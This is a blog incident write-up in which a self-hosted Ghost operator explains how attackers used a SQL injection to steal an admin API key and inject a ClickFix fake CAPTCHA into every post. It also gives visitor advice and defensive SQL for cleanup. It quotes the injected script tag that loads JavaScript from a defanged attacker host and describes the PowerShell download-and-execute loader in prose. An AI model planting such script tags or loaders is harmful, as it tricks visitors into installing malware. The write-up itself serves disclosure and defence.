Uncomfortable but honest truth: my blog served tampered code to visitors for a while, a fake „CAPTCHA" that tried to trick people into running a PowerShell command (ClickFix). The entry point was an unpatched Ghost vulnerability that let attackers steal my admin API key. I found it, scoped it, cleaned all 267 posts and closed the access. Here is the unvarnished story, and what you should do if you saw the prompt yourself.

First of all: sorry 🙏

If you saw a weird „please confirm you are human" popup on blog.disane.dev over the last few days, one that wanted you to press Win+X, open a terminal and paste something: that was not real, that was malware, and it had no business being on my blog. I am genuinely sorry. You trust my site, and for a while that trust was abused.

I am not going to play this down. Instead I will lay out exactly what happened. Transparency is the least I can offer after an incident like this, and maybe the analysis helps someone who finds the same thing on their own site.

Black and white GIF with the text a thousand apologies
Roughly my face when I saw it. (GIF: Tenor)

How the blog got compromised 🕵️

The first clue was that popup: sometimes a fake Cloudflare check, sometimes a rebuilt Google reCAPTCHA. Real bot checks never ask you to open a terminal and paste commands. That was the thread to pull.

The decisive first step was unspectacular: I fetched the raw server HTML, no browser, no extensions. That answers the key question: is the malicious code really on the server, or is something injecting it in the visitor's browser? The homepage was clean. A single article, however, carried a foreign line at the very bottom:

<script src="https://stackai[.]co[.]com/gbr322/api.php"></script>

That one line pulls in external JavaScript that builds the fake CAPTCHA and hijacks the clipboard. The twist: the code was not in the post body. It lived in the codeinjection_foot field (in the Ghost editor under „Code Injection"), which gets injected into the page footer at render time but is not part of the body. And when I scanned every post, it was on all 263 posts plus 4 pages, the exact same line every time.

ClickFix, the trick behind it 🎣

What I had caught is a textbook example of ClickFix, a social engineering technique that has exploded since 2024. A fake error or verification popup nudges you to „just quickly" run a command to fix a supposed problem. Nobody breaks into your machine, you are talked into opening the door yourself.

Microsoft has dissected the technique and its typical steps in detail: click „Verify", the command lands invisibly in your clipboard, then Win+R or Win+X, paste, Enter.

Think before you Click(Fix): Analyzing the ClickFix social engineering technique
Microsoft's deep-dive into the ClickFix technique: fake verification prompts that trick users into running malicious commands.

Proofpoint puts it into the wider threat landscape and shows which malware (infostealers, loaders, remote access trojans) gets delivered this way.

Security Brief: ClickFix Social Engineering Technique Floods Threat Landscape
Proofpoint's threat intelligence on ClickFix campaigns delivering infostealers, loaders and RATs via clipboard-pasted commands.

The nasty part of the browser variant: no file needs to be downloaded that an antivirus could catch. The malicious command travels via the clipboard and is pasted by you into a trusted shell. That is why ClickFix sidesteps many classic defenses.

The malware in detail 🔬

I looked at the loaded code (in a controlled way, not in my everyday browser). It sits behind Cloudflare and serves JavaScript that does several things:

  • It rebuilds overlays that look like a Cloudflare, Google or Microsoft verification dialog (CSS classes like .cf-root, .dg-overlay, .ms-overlay).
  • It watches copy events and pushes the malicious PowerShell command into your clipboard.
  • It sets a localStorage flag (captcha_executed_…) so it only strikes once per device, which makes it harder to reproduce.
  • It regularly calls a tracking URL on the same server to count „successes".

The PowerShell payload itself was the usual multi-stage loader: strings obfuscated via XOR, a System.Net.WebClient that downloads more code, and finally an iex (Invoke-Expression) that runs everything straight in memory. Translated: download arbitrary code from the internet and execute it immediately.

The real hole: an unpatched Ghost vulnerability 🔑

Now the truly important question: how did the script get into every post? Setting a per-post field on all posts at once is only possible through the Ghost Admin API or direct database access. Ghost's own audit log (the actions table) showed the culprit in black and white: an integration API key, edit after edit over roughly 22 minutes, evenly throttled to stay under the rate limit.

Specifically it was the admin key of the built-in Zapier integration. Ghost ships it out of the box, with its own admin API key, and I had never knowingly used it. But how did the attacker get that key? Not through a leak on my side, but through an unpatched vulnerability in Ghost itself: an unauthenticated SQL injection (CVE-2026-26980, GHSA-w52v-v783-gw97) affecting Ghost versions 3.24.0 to 6.19.0 and patched in 6.19.1. Through this flaw (CVSS 9.4, critical) unauthenticated attackers could read arbitrary data from the database, including all API keys, and my blog ran the old 5.x line, so it was vulnerable.

GHSA-w52v-v783-gw97: SQL injection in Ghost (CVE-2026-26980)
Official Ghost security advisory: unauthenticated SQL injection in the Content API, CVSS 9.4, fixed in 6.19.1.

Key takeaway: an admin API key can do everything you can do in the admin panel, there are no fine-grained permissions. One stolen key equals full control. And the theft did not happen through me, it happened through a hole in the software itself.

And I was not alone: according to SOC Prime, the same wave hit over 700 Ghost blogs, all through the same SQL injection and admin API key theft, in many cases through the very same never-used Zapier integration. Three sources that confirm the pattern:

SOC Prime documented the campaign: 700+ compromised Ghost sites, CVE-2026-26980 as the entry point, theft of the admin API key followed by content injection with the ClickFix fake Cloudflare dialog. The incident was reported on May 29, 2026.

ClickFix Campaign Hijacks 700+ Ghost Websites
SOC Prime: 700+ Ghost sites compromised via CVE-2026-26980 SQL injection, admin API key theft and ClickFix content injection.

On the official Ghost forum, an operator describes exactly my pattern: outdated Ghost, SQL injection, the admin key created for Zapier (but never used) gets stolen, then code injection on every post. The recommended fix there is unambiguous: update Ghost, regenerate all keys and use Ghost's „Reset authentication".

Hacked via Zapier integration
Ghost forum thread: outdated Ghost, SQL injection, stolen never-used Zapier admin key, code injection on every post.

And the Ghost subreddit has the matching first-hand „I got hacked" report, if you want to see how it felt for others.

r/Ghost: I got hacked
First-hand community report from a Ghost operator hit by the same compromise.

The cleanup, and how it came back once 🔁

Round one: via the Admin API I cleared the codeinjection_foot field on all 267 objects, verified live, clean. Brief sigh of relief, and then it came back.

The reason was my own ordering mistake: I had cleaned first and rotated the obvious key, but not yet the Zapier key. As long as its key was valid, the attacker could simply run his script again, which he promptly did. That is the central lesson of any incident:

Close the access first, then clean up. Not the other way around. Otherwise you are mopping against an attacker who is still inside the house.
Picard facepalm GIF from Star Trek
And then it came back. (GIF: Tenor)

Round two, correct order: reset the Zapier admin key (which instantly invalidates any token signed with the old key), rotate a suspicious owner token for good measure, and only then clean all posts and restart Ghost. After that it stayed clean, confirmed across all 135 public URLs from the sitemap and all 267 objects via the API: zero hits.

But careful, the most important step is still missing here: key rotation only stops the acute abuse. As long as the SQL injection hole is open, the attacker can pull the keys from the database again at any time. The real, permanent fix is to update Ghost to at least 6.19.1, ideally the latest version and then run Ghost's „Reset authentication", which regenerates every key in one go. The Ghost community could not be clearer about this.

If you are on Ghost < 6.19.1, update now
Ghost forum: urgent call to update to 6.19.1+ because of the critical SQL injection, with follow-up fixes up to 6.37.0.

As a safety net: a watcher 🛡️

Trust is good, monitoring is better. Since then a small watcher runs every minute, checks the posts, automatically removes any re-injection on the spot and pings me via push, including which key did it. So if a door is still open somewhere, I will hear about it in seconds instead of days.

Are you affected as a visitor? 🚑

Only if you actually followed the popup's instructions, meaning you opened a terminal/PowerShell, pasted and pressed Enter. Just viewing the page is not enough, the damage only happens through the command you run yourself.

If you did run it, I would:

  • scan the machine with an up-to-date antivirus (on Windows, Microsoft Defender with a full scan is fine),
  • change important passwords, especially anywhere you do not have two-factor, and
  • check the affected accounts for suspicious activity, just in case.

If you only saw the popup but typed nothing: all good, nothing happened to you.

What I take away from this 📚

  • Updates are not a nice-to-have. The key was not leaked by me, it was pulled from the database through an unpatched Ghost vulnerability (CVE-2026-26980). A current version would have prevented the whole incident.
  • Built-in integrations are real keys. Zapier and friends ship admin keys out of the box. If you do not use them, disable them, and after an incident use „Reset authentication".
  • Incident ordering: close access, then clean, then verify. Cleaning first is wasted time.
  • Audit logs are gold. Ghost's actions table handed me the culprit in minutes.
  • Monitoring beats hope. A simple watcher that checks the desired state surfaces this early.

I run my own stuff on purpose, that is part of the fun and part of the responsibility. Self-hosting also means: when something is on fire, you are the fire brigade, and you have to keep the software up to date.

Tailscale: VPN for Your Homelab in 5 Minutes 🔒
Tailscale connects your devices in minutes into a secure mesh VPN, no port forwarding, no firewall headaches. Perfect for your homelab.

Appendix: the SQL commands for analysis and cleanup 🧰

For the technically curious: this is how I analyzed and fixed the incident in Ghost's MySQL database. Secrets like the DB password, container name and key ID are replaced with placeholders.

Analysis, who changed what and when:

-- Ghost keeps an audit log (actions): who changed what, and when?
SELECT actor_type, actor_id, event, resource_type, COUNT(*) AS count,
       MIN(created_at) AS first_seen, MAX(created_at) AS last_seen
FROM actions
WHERE event = 'edited' AND resource_type = 'post'
GROUP BY actor_type, actor_id, event, resource_type
ORDER BY count DESC;

-- Which integration / which API key is behind it?
SELECT id, name, slug, type, created_at FROM integrations ORDER BY created_at DESC;
SELECT id, type, integration_id, user_id, created_at, last_seen_at
FROM api_keys ORDER BY last_seen_at DESC;

Remediation, lock the attacker out and clean every post:

-- 1) Reset the compromised admin API key (old tokens become invalid instantly)
UPDATE api_keys
SET secret = LOWER(SHA2(CONCAT(RAND(), UUID(), NOW(6)), 256)), updated_at = NOW()
WHERE id = '<KEY_ID_OF_THE_COMPROMISED_INTEGRATION>';

-- 2) Clean every post and page (foot AND head)
UPDATE posts SET codeinjection_foot = NULL WHERE codeinjection_foot LIKE '%stackai%';
UPDATE posts SET codeinjection_head = NULL WHERE codeinjection_head LIKE '%stackai%';

-- 3) Verify: must be 0
SELECT COUNT(*) AS still_dirty FROM posts
WHERE codeinjection_foot LIKE '%stackai%' OR codeinjection_head LIKE '%stackai%';

And this is how it was invoked (password + container redacted), after which you must update Ghost:

# Inside the running MySQL container:
docker exec -e MYSQL_PWD=<db-root-password> <mysql-container> \
  mysql -uroot ghost -t -e "  ... SQL from above ...  "

# Then restart Ghost ...
docker restart <ghost-container>
# ... and above all update to 6.19.1+ (CVE-2026-26980, CVSS 9.4).

Conclusion 🚀

The blog was compromised through an unpatched Ghost SQL injection (CVE-2026-26980) that was used to steal my built-in Zapier admin key and inject a ClickFix fake CAPTCHA into every post. Found it, scoped it, cleaned all 267 posts, closed the access, added monitoring, and as the permanent fix Ghost is being updated to 6.19.1+. Your data on the blog was never the target, the attacker only wanted your devices via the PowerShell trick.

Thanks for reading, thanks for your trust, and again: sorry for the scare. If you have questions or spot something like this yourself, reach out, I am happy to help scope it.